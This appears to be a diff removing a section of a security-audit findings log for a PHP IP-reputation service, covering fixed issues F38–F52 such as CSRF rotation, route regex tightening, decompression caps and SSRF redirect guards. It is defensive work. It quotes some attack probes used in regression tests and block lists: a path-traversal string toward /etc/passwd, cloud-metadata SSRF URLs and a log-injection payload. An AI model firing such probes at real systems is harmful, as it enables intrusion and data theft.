- run OIDC-only don't have to invent a strong dummy hash).
|
|
|
|
|
-
|
|
|
|
|
-### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
|
|
|
|
|
-- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
|
|
|
|
|
-- **Risk:** When `localAdminEnabled === false`, the controller 404s
|
|
|
|
|
- with no rate-limit. Worker threads still serve the request — a
|
|
|
|
|
- cheap DoS lever on environments with the local path disabled.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `LocalLoginController::postLocal` now records a
|
|
|
|
|
- `LoginThrottle` failure on the disabled-path branch before returning
|
|
|
|
|
- the 404. The bucket key is `('', source_ip)` — an empty username
|
|
|
|
|
- sentinel — so all hits from one source IP fold into the same per-IP
|
|
|
|
|
- bucket regardless of what username field the attacker happens to
|
|
|
|
|
- submit, defeating a rotating-username spray. Once locked, additional
|
|
|
|
|
- hits skip `recordFailure` (the gate is `if (!isLocked) recordFailure`),
|
|
|
|
|
- so the throttle file size is bounded by the lockout ladder rather
|
|
|
|
|
- than by attacker request volume. The 404 status code is preserved on
|
|
|
|
|
- both the locked and unlocked branches so the response doesn't leak
|
|
|
|
|
- the lockout state to a probing attacker. Regression tests in
|
|
|
|
|
- `ui/tests/Integration/Auth/LocalLoginTest.php`:
|
|
|
|
|
- `testDisabledLocalAdminRecordsThrottleFailure` (5 hits with rotating
|
|
|
|
|
- usernames from one IP trip the lockout) and
|
|
|
|
|
- `testDisabledLocalAdminLockedHitDoesNotIncrementBucket` (50 more
|
|
|
|
|
- hits while locked don't extend the lockout window).
|
|
|
|
|
-
|
|
|
|
|
-### F39 — Token base32 encoding has trailing-bit ambiguity
|
|
|
|
|
-- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
|
|
|
|
|
- `api/src/Domain/Auth/TokenIssuer.php:26-43`
|
|
|
|
|
-- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
|
|
|
|
|
- base32 char encodes only 4 useful bits — 32 possible last
|
|
|
|
|
- characters decode to 16 distinct values modulo the unused bit.
|
|
|
|
|
- No exploit found (lookup is by SHA-256 of the raw input), but the
|
|
|
|
|
- parser should refuse base32 strings whose final character has the
|
|
|
|
|
- unused bit set.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. The original review concern was based on the
|
|
|
|
|
- visible `if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); }`
|
|
|
|
|
- branch in `TokenIssuer::base32Encode`. For the actual input —
|
|
|
|
|
- `random_bytes(20)` = 160 bits — that branch was unreachable: 160 ÷ 5
|
|
|
|
|
- = 32 with zero remainder, every base32 char in the 32-char output
|
|
|
|
|
- carries a full 5 useful bits, and there is exactly one canonical
|
|
|
|
|
- encoding per input. So there are no unused trailing bits and no
|
|
|
|
|
- ambiguity in the existing scheme. The dead `str_pad` branch (the
|
|
|
|
|
- source of the false-positive impression) is removed; the encoder
|
|
|
|
|
- now hard-asserts `strlen($bytes) === 20` and throws
|
|
|
|
|
- `InvalidArgumentException` otherwise, so any future caller that
|
|
|
|
|
- passes a different length crashes loudly rather than silently
|
|
|
|
|
- emitting a non-canonical / shorter token. The 20-byte length is
|
|
|
|
|
- pinned via a new `TokenIssuer::ENTROPY_BYTES = 20` constant. The
|
|
|
|
|
- parser (`Token::parse`) keeps its `^[A-Z2-7]{32}$` body pattern;
|
|
|
|
|
- every 32-char base32 string is canonical for this scheme so no
|
|
|
|
|
- additional canonicality gate is needed. Regression test
|
|
|
|
|
- `TokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Chars`
|
|
|
|
|
- asserts the invariant across 100 fresh issuances.
|
|
|
|
|
-
|
|
|
|
|
-### F40 — CSRF token never rotated on session-id regeneration
|
|
|
|
|
-- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
|
|
|
|
|
- `ui/src/Auth/SessionManager.php:67-75, 77-82`
|
|
|
|
|
-- **Risk:** `regenerateId()` rotates `session_id` on login but the
|
|
|
|
|
- `$_SESSION['_csrf']` token carries over across the privilege
|
|
|
|
|
- boundary. A pre-auth token leaked via referer or a sub-resource
|
|
|
|
|
- remains valid post-auth for the session lifetime. Standard
|
|
|
|
|
- hardening: regenerate the CSRF token on login/logout. (`clear()`
|
|
|
|
|
- resets `$_SESSION` to `[]` so logout is fine.)
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `SessionManager::regenerateId()` now also drops
|
|
|
|
|
- the `_csrf` slot on both branches (HTTP `session_regenerate_id(true)`
|
|
|
|
|
- and the CLI `rotateIdUnderCli` fallback). `CsrfMiddleware` lazily
|
|
|
|
|
- mints a fresh token on the next request when the slot is missing,
|
|
|
|
|
- and every call site of `regenerateId()` is followed by a 303 / 302
|
|
|
|
|
- redirect (no template render in the same request), so the next
|
|
|
|
|
- protected GET re-issues a clean token before any state-changing
|
|
|
|
|
- request. `clear()` already wipes `$_SESSION` outright on logout, so
|
|
|
|
|
- the rotate-on-id-rotate hook on `regenerateId` covers the login
|
|
|
|
|
- direction; an attacker who scraped the pre-auth token via Referer
|
|
|
|
|
- or a sub-resource leak cannot replay it post-auth. New `KEY_CSRF`
|
|
|
|
|
- constant on `SessionManager` mirrors `CsrfMiddleware::SESSION_KEY`
|
|
|
|
|
- to avoid a domain → http-layer dependency. Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Auth/SessionManagerTest.php`
|
|
|
|
|
- (`testRegenerateIdRotatesCsrfTokenInCliMode` /
|
|
|
|
|
- `…InHttpMode`) and end-to-end through Slim in
|
|
|
|
|
- `ui/tests/Integration/Auth/LocalLoginTest.php`
|
|
|
|
|
- (`testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary`).
|
|
|
|
|
-
|
|
|
|
|
-### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
|
|
|
|
|
- `api/src/Application/Admin/ConsumersController.php:184-190`
|
|
|
|
|
-- **Risk:** Admin-gated, but an attacker with Admin can silently
|
|
|
|
|
- disable `report.received` / `blocklist.requested` audit emission
|
|
|
|
|
- for a reporter/consumer before performing further activity, then
|
|
|
|
|
- re-enable. No special-class audit signal flags the toggle.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Two new audit actions —
|
|
|
|
|
- `AuditAction::REPORTER_AUDIT_TOGGLED` (`reporter.audit_toggled`) and
|
|
|
|
|
- `AuditAction::CONSUMER_AUDIT_TOGGLED` (`consumer.audit_toggled`) —
|
|
|
|
|
- fire from the PATCH handlers whenever `audit_enabled` actually flips
|
|
|
|
|
- (no-ops, e.g. PATCHing the field to its current value, do not emit).
|
|
|
|
|
- The standard `reporter.updated` / `consumer.updated` rows continue
|
|
|
|
|
- to carry the full field diff for context, so existing observers
|
|
|
|
|
- keep working; the new action is the flat alertable signal SOC
|
|
|
|
|
- tooling can match on with `WHERE action IN ('reporter.audit_toggled',
|
|
|
|
|
- 'consumer.audit_toggled')` rather than walking into the metadata
|
|
|
|
|
- `changes` blob. Both rows live in the same DB transaction as the
|
|
|
|
|
- underlying update, so a partial commit cannot hide the toggle
|
|
|
|
|
- while the field flips. The UI's `AuditController` filter dropdown
|
|
|
|
|
- is extended to expose the new actions. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Admin/ReportersControllerTest.php` and
|
|
|
|
|
- `…/ConsumersControllerTest.php`:
|
|
|
|
|
- `testAuditEnabledToggleEmitsDedicatedAuditRow` (toggle fires both
|
|
|
|
|
- rows; metadata records `from`/`to` booleans) and
|
|
|
|
|
- `testAuditEnabledNoOpDoesNotEmitDedicatedRow` (PATCH with the same
|
|
|
|
|
- value does not fire the dedicated signal).
|
|
|
|
|
-
|
|
|
|
|
-### F42 — UI policy proxy controllers rely entirely on API for role enforcement
|
|
|
|
|
-- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
|
|
|
|
|
-- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
|
|
|
|
|
- `getUser() === null` and forward to the API with the session userId
|
|
|
|
|
- as `X-Acting-User-Id`. Currently safe because API gates the
|
|
|
|
|
- underlying endpoint to Viewer, but if the API role drifts the UI
|
|
|
|
|
- silently allows access until an API 403 surfaces. Defense-in-depth:
|
|
|
|
|
- enforce the role expectation in the UI controller.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `PoliciesController::PROXY_ALLOWED_ROLES =
|
|
|
|
|
- ['viewer', 'operator', 'admin']` constant captures the api's
|
|
|
|
|
- Viewer-or-higher gate. Both proxy methods now early-return 403 with
|
|
|
|
|
- a `{"error": "forbidden"}` JSON body when the session user's role
|
|
|
|
|
- isn't in that allowlist — covering `none`, the empty string, and
|
|
|
|
|
- any unrecognised role string. The api is not called in that branch,
|
|
|
|
|
- so a `none`-role session that somehow reached the protected
|
|
|
|
|
- `/app/*` route group cannot use the proxy as a probe channel.
|
|
|
|
|
- AuthRequiredMiddleware still intercepts truly-anonymous requests
|
|
|
|
|
- earlier in the chain (302 → /login); the controller's own 401
|
|
|
|
|
- branch is the defence-in-depth fallback for any future route
|
|
|
|
|
- reshuffle that pulls the proxy out of `/app/*`. Regression tests:
|
|
|
|
|
- `ui/tests/Integration/Auth/PoliciesProxyTest.php` covers
|
|
|
|
|
- anonymous-redirect, none-role-403 + zero-api-calls,
|
|
|
|
|
- score-distribution-proxy mirror, viewer-allowed,
|
|
|
|
|
- operator-and-admin-allowed, unknown-role-rejected, and
|
|
|
|
|
- empty-role-rejected.
|
|
|
|
|
-
|
|
|
|
|
-### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
|
|
|
|
|
-- **Files:** `api/src/App/AppFactory.php:256`,
|
|
|
|
|
- `ui/src/App/AppFactory.php:130`,
|
|
|
|
|
- `api/src/Application/Admin/IpsController.php:121-127`
|
|
|
|
|
-- **Risk:** `.+` matches multi-segment paths. Currently safe because
|
|
|
|
|
- `IpAddress::fromString` rejects non-IP strings, but any future
|
|
|
|
|
- reuse of `$args['ip']` as a filename, log key, or downstream URL
|
|
|
|
|
- component inherits a path-traversal sink. Tighten to a strict IP
|
|
|
|
|
- charset regex.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Both routes now use the strict pattern
|
|
|
|
|
- `[0-9a-fA-F.:%]+` instead of `.+`:
|
|
|
|
|
- - `api/src/App/AppFactory.php` — `GET /api/v1/admin/ips/{ip:[0-9a-fA-F.:%]+}`
|
|
|
|
|
- - `ui/src/App/AppFactory.php` — `GET /app/ips/{ip:[0-9a-fA-F.:%]+}`
|
|
|
|
|
- The charset covers IPv4 dotted-quad (digits + `.`), IPv6 hex (digits
|
|
|
|
|
- + a-f/A-F + `:`), and the `%` byte that survives the UI's
|
|
|
|
|
- `rawurlencode($ip)` for IPv6 colons (e.g. `2001%3Adb8%3A%3A1`)
|
|
|
|
|
- before the controller's `rawurldecode`. Anything outside that —
|
|
|
|
|
- `/`, `..`, `?`, spaces, dashes, brackets — fails to match the route
|
|
|
|
|
- and 404s before the handler can read `$args['ip']`. The handler's
|
|
|
|
|
- existing `IpAddress::fromString` validation is kept as a second
|
|
|
|
|
- layer (still rejects e.g. `999.999.999.999` which is in the
|
|
|
|
|
- charset but not a valid IP). Regression tests:
|
|
|
|
|
- `api/tests/Integration/Admin/IpsControllerTest.php` —
|
|
|
|
|
- `testDetailRejectsNonIpShapedPaths` data-provider covers path
|
|
|
|
|
- traversal (`..%2Fetc%2Fpasswd`), multi-segment paths (`/192.0.2.1/extra`),
|
|
|
|
|
- query-injection probes, backslashes, spaces, dashes, and bracketed
|
|
|
|
|
- IPv6 (`[2001:db8::1]`) — all 404 at the route layer. The existing
|
|
|
|
|
- `testDetail404OnInvalidIp` (using `not-an-ip` with a dash) and
|
|
|
|
|
- `testDetailRendersForUnknownIpWithCleanStatus` (using
|
|
|
|
|
- `198.51.100.99`) document the 404-via-route vs.
|
|
|
|
|
- 200-via-handler split.
|
|
|
|
|
-
|
|
|
|
|
-### F44 — Job name not strictly regex-validated before audit emission
|
|
|
|
|
-- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
|
|
|
|
|
-- **Risk:** `registry->has($name)` is the gate. A future change that
|
|
|
|
|
- trims/url-decodes inside `has()` could turn the audit-emit path
|
|
|
|
|
- into log injection or forged audit entries. Validate against
|
|
|
|
|
- `^[a-z0-9_-]+$` in the controller.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `JobsAdminController::JOB_NAME_PATTERN`
|
|
|
|
|
- constant `^[a-z0-9_-]+$`; `trigger()` now `preg_match`s the
|
|
|
|
|
- `{name}` segment against it as the first thing it does, returning
|
|
|
|
|
- the same 404 `unknown_job` envelope used for the missing-job
|
|
|
|
|
- branch. The check runs *before* `registry->has()` and *before* the
|
|
|
|
|
- `job.triggered` audit emit, so a future refactor that turns
|
|
|
|
|
- `has()` permissive on trim/url-decode/case-folding cannot escalate
|
|
|
|
|
- the route into log injection or forged audit entries. Regression
|
|
|
|
|
- tests in
|
|
|
|
|
- `api/tests/Integration/Admin/JobsAdminControllerTest.php` —
|
|
|
|
|
- `testTriggerRejectsMalformedJobName` data-provider covers
|
|
|
|
|
- uppercase, dotted, space, CR/LF injection, brackets, percent-
|
|
|
|
|
- encoded space, and `..` — every case must 404 AND leave zero
|
|
|
|
|
- `job.triggered` rows in `audit_log`.
|
|
|
|
|
-
|
|
|
|
|
-### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
|
|
|
|
|
-- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
|
|
|
|
|
- `192.168.0.0/16`, plus loopback. Any container reachable on the
|
|
|
|
|
- internal docker network passes the network gate. Safer: pin to a
|
|
|
|
|
- named docker-compose network or to the explicit scheduler IP.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by the F25 fix (`33e9198`). The hardcoded RFC1918
|
|
|
|
|
- list is gone; `InternalNetworkMiddleware::DEFAULT_ALLOWED_CIDRS` is
|
|
|
|
|
- now `['127.0.0.1/32', '::1/128']` and the constructor takes an
|
|
|
|
|
- explicit allowlist. The container wires that allowlist from the new
|
|
|
|
|
- `INTERNAL_CIDR_ALLOWLIST` env var (parsed via
|
|
|
|
|
- `InternalNetworkMiddleware::parseCidrList`); empty env →
|
|
|
|
|
- loopback-only. The bundled scheduler also moved to
|
|
|
|
|
- `network_mode: "service:api"` (so its calls land on `127.0.0.1`),
|
|
|
|
|
- removing the only legitimate non-loopback caller in the default
|
|
|
|
|
- topology — operators with a host-cron VM or other private-bridge
|
|
|
|
|
- caller opt in by listing the explicit IP/CIDR. The earlier finding
|
|
|
|
|
- text predates the F25 fix; closing here for bookkeeping. Regression
|
|
|
|
|
- tests in
|
|
|
|
|
- `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
|
|
|
|
|
- `defaultAddressProvider` includes `rfc1918 10/8 rejected by
|
|
|
|
|
- default`, `rfc1918 172.16/12 rejected by default`, `rfc1918
|
|
|
|
|
- 192.168/16 rejected by default`, and the loopback admit cases —
|
|
|
|
|
- every previously-permissive RFC1918 source now 404s under the
|
|
|
|
|
- default config.
|
|
|
|
|
-
|
|
|
|
|
-### F46 — LIKE wildcard injection in IPs search `q`
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
|
|
|
|
|
-- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
|
|
|
|
|
- meta-characters are not escaped. `?q=%` matches every row;
|
|
|
|
|
- `?q=_____...` is a quadratic backtrack vector. The `IpsController`
|
|
|
|
|
- validator only `trim()`s `q`; no length cap.
|
|
|
|
|
-- **Status:** Fixed by the F30 fix (`2cc1924`).
|
|
|
|
|
- `IpsController::parseSearchFilters` now rejects any `q` not matching
|
|
|
|
|
- `^[0-9a-fA-F:.]+$` or longer than 64 chars with 400
|
|
|
|
|
- `validation_failed`; neither `%` nor `_` survives the charset, and
|
|
|
|
|
- the source comment cites both F30 and F46. The repository's LIKE
|
|
|
|
|
- path also re-validates with the same regex (defence-in-depth) and
|
|
|
|
|
- only ever issues `s.ip_text LIKE 'q%'`. The earlier finding text
|
|
|
|
|
- predates that fix; closing here for bookkeeping. Regression tests
|
|
|
|
|
- in `api/tests/Integration/Admin/IpsControllerTest.php`:
|
|
|
|
|
- `testSearchRejectsNonIpShapedQuery` covers `?q=%` and `?q=_____`
|
|
|
|
|
- among other malformed shapes; `testSearchRejectsOverlongQuery`
|
|
|
|
|
- caps the length at 64 chars.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-
|
|
|
|
|
-### F47 — Unbounded length on string filters reaching SQL
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
|
|
|
|
|
- `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
|
|
|
|
|
-- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
|
|
|
|
|
- `subject_id` are accepted as arbitrary-length strings. Bound
|
|
|
|
|
- parametrically (no SQLi) but multi-megabyte values are happily
|
|
|
|
|
- forwarded to the prepared statement, wasting RAM/CPU per request.
|
|
|
|
|
- Apply max length 128 plus an allowlist regex on `*_kind` fields.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. The 128-char length cap from F31's fix
|
|
|
|
|
- (`MAX_FILTER_LENGTH`) already covers `action`, `entity_type`,
|
|
|
|
|
- `entity_id`, `subject_kind`, and `subject_id` — the
|
|
|
|
|
- multi-megabyte-payload concern. F47 also asked for an allowlist
|
|
|
|
|
- regex on the `*_kind` fields. New
|
|
|
|
|
- `AuditController::KIND_PATTERN = '/^[a-z0-9][a-z0-9_-]*$/'`
|
|
|
|
|
- applies to `entity_type` and `subject_kind`; `actor_kind` and
|
|
|
|
|
- `actor_via` were already in-array-allowlisted. The pattern matches
|
|
|
|
|
- every real `target_type` / `actor_kind` value the audit emitter
|
|
|
|
|
- writes (`reporter`, `consumer`, `admin-token`, `manual_block`,
|
|
|
|
|
- `oidc_role_mapping`, …) and rejects uppercase, dots, spaces, CR/LF,
|
|
|
|
|
- and leading-dash inputs that wouldn't match any column value
|
|
|
|
|
- anyway. Regression test
|
|
|
|
|
- `AuditLogControllerTest::testKindFilterCharsetGate` covers
|
|
|
|
|
- `entity_type` and `subject_kind` reject paths plus a
|
|
|
|
|
- smoke-pass for known good kinds.
|
|
|
|
|
-
|
|
|
|
|
-### F48 — MaxMind tarball extraction has no decompressed-size cap
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
|
|
|
|
|
-- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
|
|
|
|
|
- so direct path-traversal is mitigated, but there is no per-entry
|
|
|
|
|
- size cap. A small `.tar.gz` could decompress into multi-GB MMDB
|
|
|
|
|
- and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
|
|
|
|
|
- manually and enforce a max uncompressed size.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `MaxMindDownloader::assertSizeBudget` walks
|
|
|
|
|
- the `PharData` (via `RecursiveIteratorIterator` so it descends
|
|
|
|
|
- into the nested `GeoLite2-…/` directory) BEFORE
|
|
|
|
|
- `extractTo`, summing each entry's `getSize()` (uncompressed) and
|
|
|
|
|
- throwing `DownloaderException` if any single entry exceeds
|
|
|
|
|
- `MAX_ENTRY_BYTES = 200 MiB` or the total exceeds
|
|
|
|
|
- `MAX_TOTAL_BYTES = 400 MiB`. Real GeoLite2 MMDBs are ~6–7 MiB; the
|
|
|
|
|
- caps are generous against future growth while bounding the
|
|
|
|
|
- worst-case at "no single entry can fill a small disk". The check
|
|
|
|
|
- runs in `fetchEdition()` immediately after `new PharData($tarPath)`,
|
|
|
|
|
- so a bomb tarball never gets a single decompressed byte on disk.
|
|
|
|
|
- Helper is `public` with `@internal` so the unit test can drive it
|
|
|
|
|
- with small caps without building a >200 MiB fixture; production
|
|
|
|
|
- call site uses the defaults. Regression tests in
|
|
|
|
|
- `api/tests/Unit/Enrichment/MaxMindDownloaderTest.php`:
|
|
|
|
|
- `testNormalArchivePasses` (small fixtures pass with default
|
|
|
|
|
- caps), `testEntryOverPerEntryCapIsRejected` (4 KiB entry rejected
|
|
|
|
|
- under 1 KiB cap, message includes the offending size), and
|
|
|
|
|
- `testTotalOverArchiveCapIsRejected` (three 1 KiB entries breach a
|
|
|
|
|
- 2 KiB total cap), plus `testNestedEntriesAreCounted` to prove the
|
|
|
|
|
- recursive iteration descends into the date-stamped subdirectory
|
|
|
|
|
- the real MaxMind tarball nests.
|
|
|
|
|
-
|
|
|
|
|
-### F49 — DB-IP gunzip has no decompressed-size cap
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
|
|
|
|
|
-- **Risk:** `gzdecode($compressed)` allocates the full decompressed
|
|
|
|
|
- payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
|
|
|
|
|
- misconfiguration) could serve a tiny gzip whose decompressed form
|
|
|
|
|
- is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
|
|
|
|
|
- bail past a threshold.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `DbipDownloader::gunzip` now streams via
|
|
|
|
|
- `gzopen` / `gzread` 64 KiB at a time (peak memory = the chunk, not
|
|
|
|
|
- the file) and aborts with `DownloaderException` once the running
|
|
|
|
|
- total exceeds `MAX_DECOMPRESSED_BYTES = 400 MiB`. The cap matches
|
|
|
|
|
- the MaxMind tarball total cap from F48 so both downloaders agree
|
|
|
|
|
- on what "too big" looks like; real `dbip-country-lite-*.mmdb` is
|
|
|
|
|
- ~10 MiB, so the cap is generous against future growth. On cap
|
|
|
|
|
- breach (or any other gunzip error), the partial output file is
|
|
|
|
|
- unlinked so the caller never sees a half-decoded MMDB on disk;
|
|
|
|
|
- the gz input is left in place so the operator can see what was
|
|
|
|
|
- attempted. The gunzip helper is split into a private `gunzip()`
|
|
|
|
|
- with the production cap and a `public @internal gunzipWithCap()`
|
|
|
|
|
- that takes the cap as an argument so the unit test can drive it
|
|
|
|
|
- with small fixtures instead of building 400 MiB of test data.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Unit/Enrichment/DbipDownloaderTest.php`:
|
|
|
|
|
- `testNormalGunzipPasses`, `testOutputOverCapIsRejectedAndCleanedUp`
|
|
|
|
|
- (4 KiB plaintext under a 1 KiB cap → exception + no partial output
|
|
|
|
|
- file), `testEmptyGzipIsRejected`, `testMissingInputIsRejected`,
|
|
|
|
|
- and `testLargeInputStreamsCorrectly` (256 KiB through the chunked
|
|
|
|
|
- loop, ensuring chunked accumulation works correctly across multiple
|
|
|
|
|
- reads).
|
|
|
|
|
-
|
|
|
|
|
-### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
|
|
|
|
|
-- **File:** `api/src/App/Container.php:279-288`
|
|
|
|
|
-- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
|
|
|
|
|
- defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
|
|
|
|
|
- constraints. A malicious upstream or DNS poisoning could 302 a
|
|
|
|
|
- download to `http://169.254.169.254/...` or `file://`. URL is a
|
|
|
|
|
- constant in the default deploy, so this is defence-in-depth.
|
|
|
|
|
- Mitigation:
|
|
|
|
|
- `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
|
|
|
|
|
- plus a private-IP guard.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Two layers added to the GeoIP-downloader Guzzle
|
|
|
|
|
- client in `api/src/App/Container.php`:
|
|
|
|
|
- 1. **Tight `allow_redirects`.** `['max' => 3, 'protocols' =>
|
|
|
|
|
- ['https'], 'strict' => true, 'referer' => false,
|
|
|
|
|
- 'track_redirects' => false]`. Caps the chain at 3 hops, refuses
|
|
|
|
|
- to follow `http://` or `file://` redirects, and never sends a
|
|
|
|
|
- Referer.
|
|
|
|
|
- 2. **`PrivateHostGuardMiddleware`.** New handler-stack middleware
|
|
|
|
|
- in `api/src/Infrastructure/Enrichment/Downloaders/`. Inspects
|
|
|
|
|
- the URL's literal host on every outgoing request — including
|
|
|
|
|
- each redirect target — and throws
|
|
|
|
|
- `GuzzleHttp\Exception\TransferException` before opening a socket
|
|
|
|
|
- to a loopback / link-local / RFC1918 / CGNAT / multicast
|
|
|
|
|
- address (IPv4 + IPv6) or a known instance-metadata hostname
|
|
|
|
|
- (`169.254.169.254`, `metadata.google.internal`, `localhost`,
|
|
|
|
|
- `0.0.0.0`). The post-redirect
|
|
|
|
|
- `http://169.254.169.254/...` / `https://localhost/...` /
|
|
|
|
|
- `https://10.0.0.1/...` patterns therefore die at the request
|
|
|
|
|
- layer rather than reaching the network. The guard inspects
|
|
|
|
|
- literal hosts only — pinning DNS to catch a public hostname
|
|
|
|
|
- pointing at a private IP is out of scope for "defence in depth";
|
|
|
|
|
- the primary controls are the constant base URL plus the
|
|
|
|
|
- `protocols => ['https']` redirect gate.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Unit/Enrichment/PrivateHostGuardMiddlewareTest.php`:
|
|
|
|
|
- 17 blocked-host data-provider cases (IPv4 + IPv6 across loopback,
|
|
|
|
|
- link-local, RFC1918, CGNAT, multicast, all-zero, metadata IP,
|
|
|
|
|
- metadata hostname, `localhost`), 6 allowed-host cases (`download.
|
|
|
|
|
- db-ip.com`, `download.maxmind.com`, `ipinfo.io`, just-outside-
|
|
|
|
|
- 172.16/12, `1.1.1.1`, public IPv6), `testFactoryProducesMiddleware
|
|
|
|
|
- ThatGuardsBeforeHandler` proving the inner handler is not
|
|
|
|
|
- invoked on the blocked branch, and `testEmptyHostIsRejected`.
|
|
|
|
|
-
|
|
|
|
|
-### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
|
|
|
|
|
-- **Risk:** Safe today because the only caller passes a typed list,
|
|
|
|
|
- but the `sprintf` pattern is fragile. Add
|
|
|
|
|
- `array_filter($groupIds, 'is_string')` to make the contract
|
|
|
|
|
- explicit.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `RoleMappingRepository::resolveRole` now does
|
|
|
|
|
- `array_values(array_filter($groupIds, 'is_string'))` as the first
|
|
|
|
|
- step, so the `count($groupIds)` placeholder generation and the
|
|
|
|
|
- bind-list always agree even when a future caller passes a mixed
|
|
|
|
|
- array, a hash with skipped indexes, or anything else that violates
|
|
|
|
|
- the PHPDoc `list<string>` contract. After filtering, the empty
|
|
|
|
|
- case correctly falls back to the default role. Regression tests
|
|
|
|
|
- in `api/tests/Integration/Auth/RoleMappingRepositoryTest.php`:
|
|
|
|
|
- - happy-path highest-role-resolution and default-fallback,
|
|
|
|
|
- - non-string entries are filtered, retaining valid string IDs,
|
|
|
|
|
- - all-non-string list collapses to the default,
|
|
|
|
|
- - a hash with non-contiguous keys (`[5 => 'group-x', 12 => '…']`)
|
|
|
|
|
- is re-keyed and the IN clause still works.
|
|
|
|
|
-
|
|
|
|
|
-### F52 — Reporter / consumer / category `name`/`reason` accept control characters
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
|
|
|
|
|
- `ConsumersController.php:67-70`,
|
|
|
|
|
- `ManualBlocksController.php`, `AllowlistController.php`,
|
|
|
|
|
- `CategoriesController.php`
|
|
|
|
|
-- **Risk:** NULs, newlines, ANSI escapes land in
|
|
|
|
|
- `audit_log.target_label` and `details_json`. Twig auto-escapes for
|
|
|
|
|
- display, but log-injection (`\n[CRIT] fake event`) is possible
|
|
|
|
|
- downstream. Strip control chars and NFC-normalise at the input
|
|
|
|
|
- boundary.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `AdminControllerSupport::stripControlChars`
|
|
|
|
|
- and `cleanString` helpers strip C0 (`0x00..0x1f`), DEL (`0x7f`),
|
|
|
|
|
- and C1 (`0x80..0x9f`) bytes. Applied at every relevant call site
|
|
|
|
|
- on both create and update paths in:
|
|
|
|
|
- - `ReportersController` — `name`, `description`,
|
|
|
|
|
- - `ConsumersController` — `name`, `description`,
|
|
|
|
|
- - `CategoriesController` — `name`, `description` (slug is already
|
|
|
|
|
- regex-validated to lowercase + `_`-only),
|
|
|
|
|
- - `ManualBlocksController` — `reason`,
|
|
|
|
|
- - `AllowlistController` — `reason`.
|
|
|
|
|
- The strip removes the ESC byte that leads ANSI escape sequences,
|
|
|
|
|
- so terminal-interpretation attacks on log viewers (`\u{001b}[31m`)
|
|
|
|
|
- collapse — the trailing `[31m` text remains visible but inert
|
|
|
|
|
- without the lead-in. NULs and newlines (`\n[CRIT] fake event`)
|
|
|
|
|
- are gone outright. NFC normalisation was deliberately skipped —
|
|
|
|
|
- the api doesn't require `ext-intl` and adding the dependency for
|
|
|
|
|
- a defence-in-depth nice-to-have isn't worth the install-footprint
|
|
|
|
|
- cost. The `details_json` audit blob inherits the scrub because
|
|
|
|
|
- the controllers feed the cleaned `name` / `description` / `reason`
|
|
|
|
|
- into the audit emit. Regression tests:
|
|
|
|
|
- `api/tests/Integration/Admin/InputControlCharStrippingTest.php` —
|
|
|
|
|
- one POST per controller plus a PATCH on the reporter update path,
|
|
|
|
|
